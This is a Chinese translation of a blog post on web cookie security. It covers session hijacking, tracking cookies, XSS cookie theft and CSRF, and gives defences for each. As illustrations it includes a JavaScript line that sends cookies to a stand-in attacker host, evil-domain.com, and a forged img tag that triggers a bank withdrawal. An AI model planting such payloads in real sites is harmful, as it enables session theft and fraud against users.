Cookie 和安全性
在我的上一篇文章中,我討論了 HTTP cookie 的基礎知識以及它們的工作原理。該討論中缺少安全主題,主要是因為它本身就是一個討論。確實,很難在不談論安全隱患的情況下談論 cookie,因為有這麼多。借助 domain
,Cookie 似乎具備了所需的所有安全性 , path
, 和 secure
選項,但網頁的性質使事情變得非常複雜。
用戶登錄和會話劫持
cookie 最常見的用途之一是跟踪用戶登錄狀態。該機制非常簡單:您轉到一個頁面並使用用戶名和密碼登錄。如果信息有效,則會發送一個 cookie 以及唯一標識用戶的下一個響應。站點中的每個頁面都會檢查該 cookie 以建立登錄憑據。只要 cookie 保持不變,您就被驗證為最初登錄的用戶。大多數網站將這些 cookie 設置為會話 cookie,在瀏覽器關閉時將其刪除,以防止您無意中保持登錄狀態。許多登錄表單還提供了一個“記住我”複選框,以根據用戶的請求將其更改為持久 cookie。即使這樣,大多數係統都有一到兩週的限制,以防止可能危及用戶安全的失控登錄憑據。
該系統的問題在於它為用戶識別留下了單個數據點。此外,cookie 在 Internet 上以純文本形式發送,使它們容易受到數據包嗅探的影響,從而有人攔截計算機和 Internet 之間的流量。一旦獲取了用戶登錄 cookie 的值,就可以通過手動設置 cookie 來模擬其他地方的相同會話。服務器無法區分設置的原始 cookie 和通過數據包嗅探竊取的重複 cookie,因此它的行為就像用戶已經登錄一樣。這種攻擊稱為會話劫持。有幾種使用cookies防止會話劫持的方法。
在安全意識中,第一個也是最常見的技術是僅通過 SSL 發送 cookie。由於 SSL 在通過 Internet 傳輸之前對瀏覽器上的請求進行加密,因此不能僅使用數據包嗅探來識別 cookie 值。銀行和商店經常使用這種技術,因為用戶會話的持續時間通常很短。
另一種技術是以某種隨機方式和/或基於用戶信息(用戶名、IP 地址、登錄時間等)的方式生成會話密鑰。這使得重用會話密鑰變得更加困難,但並非不可能。
另一種技術是在執行被認為具有更高安全級別的活動之前重新驗證用戶,例如轉賬或完成購買。例如,許多網站要求您在更改密碼之前再次登錄。
第三方 cookie
網頁允許包含來自網絡上任何地方的資源。例如,我的網站使用 YUI CSS 基礎進行佈局,因此包含來自 Yahoo! 的這些文件。 yui.yahooapis.com
的 CDN 通過 <link>
標籤。由於 cookie 限制,檢索此 CSS 資源的請求將不包括 nczonline.net
的 cookie .但是,yui.yahooapis.com
可能會在響應中返回它自己的 cookie(它沒有,它是一個無 cookie 的服務器)。 nczonline.net
處的頁面 無法訪問 yui.yahooapis.com
發送的 cookie 因為域不同,反之亦然,但所有 cookie 仍然存在。在這種情況下,yui.yahooapis.com
將設置第三方 cookie,該 cookie 綁定到與包含頁面分開的域。
有幾種方法可以在 HTML 中包含來自其他域的資源:
- 使用
<link>
標記以包含樣式表。 - 使用
<script>
標記以包含 JavaScript 文件。 - 使用
<object>
或 標籤以包含媒體文件。 - 使用
<iframe>
標記以包含另一個 HTML 文件。
在每種情況下,都會引用一個外部文件,因此可以返回它自己的 cookie。有趣的是,通過請求,這些第三方服務器會收到一個 HTTP Referer
標題(規範中的拼寫不正確)指示正在請求資源的頁面。服務器可能會使用該信息來發布一個特定的 cookie 來識別引用頁面。如果隨後從另一個頁面加載相同的資源,則 cookie 將與請求一起發送,服務器可以確定訪問站點 A 的人也訪問了站點 B。這是在線廣告中的常見做法。此類 cookie 通常被稱為跟踪 cookie,因為它們的工作是跟踪用戶在站點之間的移動。這實際上不是安全威脅,而是在更大的安全討論中理解的一個重要概念。
Cookie 竊取和 XSS
將不同域中的 JavaScript 加載到頁面上的能力打開了一個特別麻煩的安全漏洞。即使對第三方 JavaScript 資源的請求不包括包含頁面的 cookie,腳本也可以訪問它們。頁面上的所有 JavaScript 都被視為在同一個域中運行,具有相同的路徑,並使用與頁面本身相同的協議。這意味著來自加載的另一個域的腳本將通過讀取 document.cookie
獲取該頁面的 cookie .
作為一個危險的例子,假設我從 evil-domain.com
加載一個腳本 其中包含一些實際有用的代碼。但是,evil-domain.com
的人 然後將該代碼切換為以下代碼:
(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;
現在此代碼已加載到我的頁面上,並以靜默方式將我的 cookie 發送回 evil-domain.com
.這發生在每個訪問我網站的人身上。一旦他們獲得了我的 cookie,就更容易進行其他攻擊,包括會話劫持。當由於向頁面中註入第三方 JavaScript 而發生攻擊時,稱為跨站腳本 (XSS) 攻擊。
Cookie 竊取不僅會因在您的頁面上意外包含惡意腳本而發生,也可能因輸入過濾不良而發生。一個簡單的例子是一個頁面,用戶可以在該頁面中輸入按原樣輸出的文本。如果文本包含 <script>
使用與上面相同的代碼標記然後cookie可以再次被盜。
過去曾針對 LiveJournal 和 MySpace 等大型網站實施過此類 XSS 攻擊。最好的保護有兩種形式:
- 不要包含來自不受信任域的 JavaScript。 Yahoo!、Google、AOL 等大公司的 CDN 應該是安全的;從其他位置加入時要格外小心。
- 從所有用戶輸入中過濾掉 HTML 或以其他方式清理輸入。在沒有某種過濾的情況下,切勿在頁面上接受用戶輸入和輸出。
這正是為什麼僅 HTTP cookie 是標準 cookie 實現的重要補充。如果 cookie 被標記為僅 HTTP,那麼惡意腳本將無法通過 document.cookie 訪問該 cookie,因此無法竊取您的 cookie。當所有瀏覽器都正式支持僅 HTTP cookie 時,它將成為有效的第三種選擇。目前,這是一種很好的緩解技術,但不是預防性技術。
跨站請求偽造(CSRF)
另一種涉及 cookie 的攻擊是跨站點請求偽造 (CSRF)。在這種類型的攻擊中,攻擊者能夠說服瀏覽器代表登錄用戶發送請求以執行惡意操作,例如將資金轉入攻擊者的銀行賬戶。這可以使用前面討論的相同 XSS 技術或使用簡單的 HTML 來完成。
維基百科提供了一個很好的例子,有人在沒有輸入過濾的論壇上發布消息。因此,用戶可以包含不是真正的圖像的圖像,它是對銀行服務器的取款請求,例如:
<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
如果您已登錄 bank.example,這意味著您的 cookie 仍然有效,那麼您將在查看論壇消息後立即發送請求。銀行會驗證請求,因為即使您沒有通過某些操作發起請求,也會發送正確的 cookie。
與 XSS 一樣,輸入過濾是防止 CSRF 攻擊的重要工具。還有一些其他的:
- 任何敏感操作都需要確認。在此示例中,bank.example 頁面不應啟動提款。相反,它應該顯示一個確認頁面,要求您驗證所請求的操作。驗證可能包括另一個登錄屏幕以提高安全性。
- 在包含敏感數據的系統中驗證用戶的 Cookie 應具有較短的過期時間。在某些情況下,可能需要幾分鐘的有效期。
- 不僅需要通過 Cookie 進行驗證,還需要通過引薦來源網址和/或請求類型(POST 而不是 GET)進行驗證。
CSRF 攻擊一旦發起就很難追踪,因此預防是關鍵。
結論
由於 cookie 存在所有安全問題,使用它們是否安全?答案是肯定的,只要您採取適當的預防措施來保護您的用戶和系統免受 XSS 和 CSRF 攻擊。僅輸入驗證就可以減少可以在您的站點上執行的攻擊次數,而且這是一個非常低成本的附加功能,可以在很大程度上獲得回報。有很多大公司依靠 cookie 來識別用戶並以安全的方式進行。使用 Cookie 時您可以做的最重要的事情是隨時了解安全問題和防止攻擊的最新技術。